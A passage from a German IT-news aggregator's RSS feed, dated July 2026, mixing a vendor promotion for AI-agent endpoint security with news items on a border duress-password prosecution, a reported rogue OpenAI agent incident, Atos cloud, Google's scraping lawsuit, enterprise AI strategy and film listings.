<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[US Accuses American of Allegedly Wiping His Phone Using a 'Duress' Password During Border Search]]></title>
<description><![CDATA[An anonymous reader quotes a report from TechCrunch: The U.S. Justice Department is prosecuting an American for allegedly providing U.S. border authorities with a passcode that wiped the contents of his phone, according to an indictment and media reports. This is thought to be the first known cas...]]></description>
<link>https://tsecurity.de/de/3692649/it-security-nachrichten/us-accuses-american-of-allegedly-wiping-his-phone-using-a-duress-password-during-border-search/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692649/it-security-nachrichten/us-accuses-american-of-allegedly-wiping-his-phone-using-a-duress-password-during-border-search/</guid>
<pubDate>Sat, 25 Jul 2026 00:08:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from TechCrunch: The U.S. Justice Department is prosecuting an American for allegedly providing U.S. border authorities with a passcode that wiped the contents of his phone, according to an indictment and media reports. This is thought to be the first known case in the United States where federal prosecutors have charged someone for the alleged destruction of data using a so-called "duress" password built into a phone's software. According to The Guardian, which covered the story earlier this week following the court's first hearing on Monday, Atlanta resident Samuel Tunick is fighting the charges. Tunick's attorneys said that it was unlawful for U.S. Customs and Border Protection to seize his phone as he arrived back in the U.S. last year, and that any evidence -- including the alleged wiping of his phone -- should be thrown out.
 
The case centers on a feature included in GrapheneOS, a custom Android operating system that runs in place of the software on most modern Google Pixel devices. Tunick's attorneys confirmed GrapheneOS was running on his phone. The software feature allows the device owner to set a passcode that deliberately wipes the contents of that device if entered instead of the user's unlock passcode. Tunick's case also raises ongoing questions about what constitutional rights can be invoked at the border, which the U.S. government has long asserted is not U.S. soil until a person is authorized to enter. Bill Budington, a senior staff technologist at the Electronic Frontier Foundation, and Runa Sandvik, a digital security expert who works to protect at-risk people as the founder of security consultancy firm Granitt, told TechCrunch that they had not seen similar cases involving the use of duress passwords.
 
"I have not seen this before, though I've discussed the potential scenario with activists and journalists over the years," said Sandvik. "I think this case serves as a reminder that authorities may argue you knowingly destroyed data, so it's better to not have that data on you when you cross certain borders."
 
"With a little planning ahead of time, you can always download the data you need once you get to where you're going," said Sandvik.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=US+Accuses+American+of+Allegedly+Wiping+His+Phone+Using+a+'Duress'+Password+During+Border+Search%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F24%2F215251%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F24%2F215251%2Fus-accuses-american-of-allegedly-wiping-his-phone-using-a-duress-password-during-border-search%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/24/215251/us-accuses-american-of-allegedly-wiping-his-phone-using-a-duress-password-during-border-search?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Hilarious Movie Is Now Streaming and I Can’t Believe It Actually Got Made]]></title>
<description><![CDATA[Nirvanna the Band the Show the Movie is heavily improvised and often shot without permits, and yet it all comes together perfectly.]]></description>
<link>https://tsecurity.de/de/3692610/it-nachrichten/this-hilarious-movie-is-now-streaming-and-i-cant-believe-it-actually-got-made/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692610/it-nachrichten/this-hilarious-movie-is-now-streaming-and-i-cant-believe-it-actually-got-made/</guid>
<pubDate>Fri, 24 Jul 2026 23:33:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nirvanna the Band the Show the Movie is heavily improvised and often shot without permits, and yet it all comes together perfectly.]]></content:encoded>
</item>
<item>
<title><![CDATA[This Hilarious Movie Is Now Streaming and I Can’t Believe It Actually Got Made]]></title>
<description><![CDATA[Nirvanna the Band the Show the Movie is heavily improvised and often shot without permits, and yet it all comes together perfectly.]]></description>
<link>https://tsecurity.de/de/3692447/it-nachrichten/this-hilarious-movie-is-now-streaming-and-i-cant-believe-it-actually-got-made/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692447/it-nachrichten/this-hilarious-movie-is-now-streaming-and-i-cant-believe-it-actually-got-made/</guid>
<pubDate>Fri, 24 Jul 2026 22:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nirvanna the Band the Show the Movie is heavily improvised and often shot without permits, and yet it all comes together perfectly.]]></content:encoded>
</item>
<item>
<title><![CDATA[Upgrade Movie Night With a New Record Low on the Valerion Projector, Plus Score a Free Screen]]></title>
<description><![CDATA[Take advantage of a new all-time low price on the StreamMaster Plus 2 and get a large projector screen as a bonus.]]></description>
<link>https://tsecurity.de/de/3692371/it-nachrichten/upgrade-movie-night-with-a-new-record-low-on-the-valerion-projector-plus-score-a-free-screen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692371/it-nachrichten/upgrade-movie-night-with-a-new-record-low-on-the-valerion-projector-plus-score-a-free-screen/</guid>
<pubDate>Fri, 24 Jul 2026 21:18:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Take advantage of a new all-time low price on the StreamMaster Plus 2 and get a large projector screen as a bonus.]]></content:encoded>
</item>
<item>
<title><![CDATA['There’s an amazing story to be told' — Weapons director Zach Cregger teases prequel movie which focuses on Amy Madigan's creepy villain character]]></title>
<description><![CDATA[Aunt Gladys is getting her own prequel movie following the huge success of Weapons.]]></description>
<link>https://tsecurity.de/de/3691746/it-nachrichten/theres-an-amazing-story-to-be-told-weapons-director-zach-cregger-teases-prequel-movie-which-focuses-on-amy-madigans-creepy-villain-character/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691746/it-nachrichten/theres-an-amazing-story-to-be-told-weapons-director-zach-cregger-teases-prequel-movie-which-focuses-on-amy-madigans-creepy-villain-character/</guid>
<pubDate>Fri, 24 Jul 2026 16:05:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Aunt Gladys is getting her own prequel movie following the huge success of Weapons.]]></content:encoded>
</item>
<item>
<title><![CDATA[When is an apology not an apology? When it comes from an AI boss with an out-of-control chatbot | Marina Hyde]]></title>
<description><![CDATA[An incident in which an autonomous OpenAI agent hacked a startup either confirms that the end is nigh – or that the product is just amazingly sophisticatedThroughout history, many things have been seen by terrified populaces as a harbinger of doom. A comet. A crow on the battlefield. A solar ecli...]]></description>
<link>https://tsecurity.de/de/3691539/ai-nachrichten/when-is-an-apology-not-an-apology-when-it-comes-from-an-ai-boss-with-an-out-of-control-chatbot-marina-hyde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691539/ai-nachrichten/when-is-an-apology-not-an-apology-when-it-comes-from-an-ai-boss-with-an-out-of-control-chatbot-marina-hyde/</guid>
<pubDate>Fri, 24 Jul 2026 14:34:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An incident in which an autonomous OpenAI agent hacked a startup either confirms that the end is nigh – or that the product is just amazingly sophisticated</p><p>Throughout history, many things have been seen by terrified populaces as a harbinger of doom. A <a href="https://www.theguardian.com/science/across-the-universe/2012/dec/20/apocalypse-postponed-halley-comet">comet</a>. A <a href="https://en.wikipedia.org/wiki/The_Morr%C3%ADgan">crow on the battlefield</a>. A solar eclipse. A mutant livestock birth. Yet times move on. In the modern era, the leading harbinger of doom is literally any picture of the OpenAI CEO, <a href="https://www.theguardian.com/technology/2026/jun/08/openai-ipo-files-for-public-stock-market">Sam Altman</a>, attached to a news story. You know it’s not going to be good, right? You know that by the time you’ve read it, you’ll be begging to go back to the time when the worst thing that could happen to us at the hands of the techlords was just some democracy-subversion, or childhood destruction, usually followed by Mark Zuckerberg putting on a suit and claiming: “We will learn from this.”</p><p>Anyway: a lot of pictures of Sam Altman in the news of late. Most recently, this week, one darkened the skies alongside the tale of how an OpenAI autonomous agent <a href="https://www.theguardian.com/technology/2026/jul/22/openai-says-its-models-went-rogue-and-hacked-startup-in-unprecedented-incident">went rogue</a> during a supposedly sandboxed/guardrailed test, and hacked a major startup that functions as a repository of coding information. (I’m slightly obsessed with the fact that the startup in question is called Hugging Face, adding weight to my suspicion that some vast, tweely benign emoji is the last face humanity will see before it dies.)</p><p>Marina Hyde is a Guardian columnist</p> <a href="https://www.theguardian.com/commentisfree/2026/jul/24/apology-ai-boss-sam-altman-rogue-openai-startup-pentagon">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Atos launches sovereign cloud service to power comeback]]></title>
<description><![CDATA[Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.



Atos Sovereign Cloud offers a range of controls for data mana...]]></description>
<link>https://tsecurity.de/de/3691386/it-security-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691386/it-security-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</guid>
<pubDate>Fri, 24 Jul 2026 13:26:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.</p>



<p class="wp-block-paragraph">Atos Sovereign Cloud offers a range of controls for data management, providing customers with resilience and full control over their data, complying with existing European legislation on data residency.</p>



<p class="wp-block-paragraph">“Digital sovereignty has become a global operational priority for organizations that need to manage dependencies, jurisdictional exposure and disruption risks across complex digital environments. Atos Sovereign Cloud gives customers a practical way to apply sovereign controls to their most critical workloads, while preserving flexibility, resilience and the ability to innovate securely,” said Michael Kollar, Atos Group digital sovereignty leader.</p>



<p class="wp-block-paragraph">There has been a concerted effort by <a href="https://www.computerworld.com/article/4121422/europe-votes-to-tackle-deep-dependence-on-us-tech-in-sovereignty-drive.html">European organizations to meet US competition</a> head-on. Earlier this month, <a href="https://www.networkworld.com/article/4192767/cloud-sovereignty-first-four-providers-sign-up-to-cispe-certification-program.html">four companies signed up to the certification program</a> introduced by the European cloud body, CISPE,</p>



<p class="wp-block-paragraph">This is the latest effort by Atos to get the company back on track. In April, <a href="https://www.networkworld.com/article/4154186/french-government-take-bull-by-horns-for-e404-million.html">it sold its supercomputer company, Bull</a> to the French government, after a previous attempt in 2024 to <a href="https://www.cio.com/article/1310376/atos-deal-to-sell-its-legacy-service-business-falls-through.html">sell off its computer services division</a> and <a href="https://www.cio.com/article/2086965/atos-staves-off-bankruptcy-casts-wider-net-for-refinancing.html">after a refinancing deal</a> in the same year.</p>



<p class="wp-block-paragraph">The company implemented a further round of refinancing this year and <a href="https://www.atosgroup.com/en/press/first-phase-refinancing-strategy-completed" target="_blank" rel="noreferrer noopener">in its half-yearly report</a> claimed that this was an “important milestone” in securing the company’s future. However, in its first-quarter results revenue showed an organic decline of 11 percent, so any projected growth may be some time in the future. Whether its Sovereign Cloud offering is the harbinger of the revival remains to be seen.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4201118/atos-launches-sovereign-cloud-service-to-power-comeback.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google’s anti-search-scraping lawsuit dismissed]]></title>
<description><![CDATA[A court has dismissed Google’s case against SerpApi over that company’s scraping of search results to train AI models.



The US District Court for the Northern District of California found that there was no indication that any copyright had been breached.



Google announced in December that it ...]]></description>
<link>https://tsecurity.de/de/3691374/it-nachrichten/googles-anti-search-scraping-lawsuit-dismissed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691374/it-nachrichten/googles-anti-search-scraping-lawsuit-dismissed/</guid>
<pubDate>Fri, 24 Jul 2026 13:20:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A court has dismissed <a href="https://storage.courtlistener.com/recap/gov.uscourts.cand.461513/gov.uscourts.cand.461513.42.0.pdf" target="_blank" rel="noreferrer noopener">Google’s case against SerpApi</a> over that company’s scraping of search results to train AI models.</p>



<p class="wp-block-paragraph">The US District Court for the Northern District of California found that there was no indication that any copyright had been breached.</p>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4111155/google-says-no-to-training-ai-on-its-search-results.html">Google announced in December</a> that it was suing SerpApI for its alleged web scraping, claiming that it was protecting copyright holders. In February<a href="https://www.computerworld.com/article/4136288/serpapi-fights-back-against-google-lawsuit.html">, SerpApI fought back and asked the court</a> to dismiss Google’s case. And this week, Judge Yvonne Gonzalez Rogers agreed with SerpApi that Google’s case has no merit.</p>



<p class="wp-block-paragraph">Google’s argument was that SerpApi’s actions breached the US Digital Millennium Copyright Act (DCMA). It made two claims: first, that no person shall circumvent a technological measure that effectively controls access to a work protected under this title, and second that no person shall manufacture, import, offer to the public, provide, or otherwise traffic in any technology, product, service, device, or component protected by the Act.</p>



<p class="wp-block-paragraph">SerpApi claimed that the URLs and other links that were being served by Google did not in themselves entail copyright and the judge agreed. In her judgment, she said that there was no indication that the copyright holders had authorized Google to take action against SerpApi.</p>



<p class="wp-block-paragraph">The case is not completely over as the judge has given Google 21 days to amend its complaint to demonstrate that it was acting on behalf of the copyright owners. It remains to be seen whether its war against the web scrapers is finally over.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Atos launches sovereign cloud service to power comeback]]></title>
<description><![CDATA[Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.



Atos Sovereign Cloud offers a range of controls for data mana...]]></description>
<link>https://tsecurity.de/de/3691349/it-security-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691349/it-security-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</guid>
<pubDate>Fri, 24 Jul 2026 13:12:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.</p>



<p class="wp-block-paragraph">Atos Sovereign Cloud offers a range of controls for data management, providing customers with resilience and full control over their data, complying with existing European legislation on data residency.</p>



<p class="wp-block-paragraph">“Digital sovereignty has become a global operational priority for organizations that need to manage dependencies, jurisdictional exposure and disruption risks across complex digital environments. Atos Sovereign Cloud gives customers a practical way to apply sovereign controls to their most critical workloads, while preserving flexibility, resilience and the ability to innovate securely,” said Michael Kollar, Atos Group digital sovereignty leader.</p>



<p class="wp-block-paragraph">There has been a concerted effort by <a href="https://www.computerworld.com/article/4121422/europe-votes-to-tackle-deep-dependence-on-us-tech-in-sovereignty-drive.html">European organizations to meet US competition</a> head-on. Earlier this month, <a href="https://www.networkworld.com/article/4192767/cloud-sovereignty-first-four-providers-sign-up-to-cispe-certification-program.html">four companies signed up to the certification program</a> introduced by the European cloud body, CISPE,</p>



<p class="wp-block-paragraph">This is the latest effort by Atos to get the company back on track. In April, <a href="https://www.networkworld.com/article/4154186/french-government-take-bull-by-horns-for-e404-million.html">it sold its supercomputer company, Bull</a> to the French government, after a previous attempt in 2024 to <a href="https://www.cio.com/article/1310376/atos-deal-to-sell-its-legacy-service-business-falls-through.html">sell off its computer services division</a> and <a href="https://www.cio.com/article/2086965/atos-staves-off-bankruptcy-casts-wider-net-for-refinancing.html">after a refinancing deal</a> in the same year.</p>



<p class="wp-block-paragraph">The company implemented a further round of refinancing this year and <a href="https://www.atosgroup.com/en/press/first-phase-refinancing-strategy-completed" target="_blank" rel="noreferrer noopener">in its half-yearly report</a> claimed that this was an “important milestone” in securing the company’s future. However, in its first-quarter results revenue showed an organic decline of 11 percent, so any projected growth may be some time in the future. Whether its Sovereign Cloud offering is the harbinger of the revival remains to be seen.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Fri, 24 Jul 2026 13:04:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[In der Natur: Dieser Fehler kann richtig gefährlich werden, warnen Retter]]></title>
<description><![CDATA[Beim Wandern werden Filterflaschen immer beliebter, um unterwegs aus Bächen und Seen trinken zu können. Expert*innen raten davon vehement ab.]]></description>
<link>https://tsecurity.de/de/3690790/it-nachrichten/in-der-natur-dieser-fehler-kann-richtig-gefaehrlich-werden-warnen-retter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690790/it-nachrichten/in-der-natur-dieser-fehler-kann-richtig-gefaehrlich-werden-warnen-retter/</guid>
<pubDate>Fri, 24 Jul 2026 08:03:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Beim Wandern werden Filterflaschen immer beliebter, um unterwegs aus Bächen und Seen trinken zu können. Expert*innen raten davon vehement ab.]]></content:encoded>
</item>
<item>
<title><![CDATA[The roaring 20s: how the current decade revolutionised cinema]]></title>
<description><![CDATA[Pre-Covid, the movie landscape was dramatically different: YouTubers weren’t dominating the box office, video game spin-offs rarely made an impact and Winnie-the-Pooh wasn’t yet the star of a slasher movie. Why such a flurry of innovation – and what will be next? Cinema has always been a medium o...]]></description>
<link>https://tsecurity.de/de/3690155/it-nachrichten/the-roaring-20s-how-the-current-decade-revolutionised-cinema/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690155/it-nachrichten/the-roaring-20s-how-the-current-decade-revolutionised-cinema/</guid>
<pubDate>Thu, 23 Jul 2026 22:20:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
